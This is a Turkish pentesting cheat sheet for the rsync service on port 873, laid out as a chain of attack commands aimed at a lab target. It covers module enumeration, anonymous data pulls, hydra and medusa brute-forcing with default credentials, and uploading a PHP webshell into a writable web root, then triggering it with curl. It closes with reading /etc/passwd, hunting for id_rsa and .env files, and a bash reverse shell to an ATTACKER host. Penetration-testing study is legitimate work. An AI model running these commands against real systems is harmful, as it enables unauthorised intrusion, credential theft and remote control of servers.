Skip to content

873 - Pentesting Rsync

rsync fileshare

rsync modülleri anonim liste/ indirme ve bazen yazma verir. Web root kesişimi shell üretir. Hedef lab IP’si üzerinde komutları 873 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 873 doğrula.

  2. Module listesi.

  3. Anonim pull.

  4. Writable push → shell.

Terminal window
nmap -Pn -sV -p873 TARGET
Terminal window
nmap -Pn -p873 --script rsync-list-modules TARGET
Terminal window
rsync TARGET::
Terminal window
rsync -av TARGET::module/ /tmp/rsync-loot/
Terminal window
rsync -av rsync://user@TARGET/module/ ./
Terminal window
hydra -L users.txt -P pass.txt rsync://TARGET
Terminal window
rsync -av shell.php TARGET::module/www/
Terminal window
curl http://TARGET/shell.php?cmd=id

Rsync için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p873 TARGET
Terminal window
nmap -Pn -p873 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:873' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',873));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Rsync
Terminal window
hydra -L users.txt -P rockyou.txt -s 873 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 873
Terminal window
nmap -p873 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit rsync
Terminal window
msfconsole -q -x 'search rsync; exit'
Terminal window
nuclei -u https://TARGET:873 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:873 -tags tech -silent || true
Terminal window
nc -nv TARGET 873
Terminal window
printf '
' | timeout 3 nc -nv TARGET 873
Terminal window
curl -vk --http1.0 http://TARGET:873/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
list modules → anon pull → writable www → webshell